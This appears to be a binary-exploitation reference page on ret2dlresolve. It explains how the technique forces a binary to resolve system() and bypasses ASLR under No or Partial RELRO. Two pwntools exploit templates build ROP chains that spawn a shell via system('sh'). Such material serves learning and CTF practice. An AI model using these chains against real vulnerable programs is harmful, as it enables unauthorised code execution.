# ret2dlresolve

Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as `system()`, into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.

The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:

![](https://3698848315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F677wrA8ZfiPs1U4l5uR6%2Fuploads%2F3JFiEL8b1zq88eZa9YC8%2Fimage.png?alt=media\&token=4cd8bbe3-39e3-49b3-a68b-d2dcde0e19b3)

For a more detailed explanation see:

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>" %}
Detailed analysis and information about ret2dlresolve from ir0nstone's notes
{% endembed %}

## PwnTools

PwnTools contains a [`ret2dlresolve`](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) function that can generate payloads for this attack automatically.&#x20;

### `read()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.read(0, dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```

### `gets()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.gets(dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```
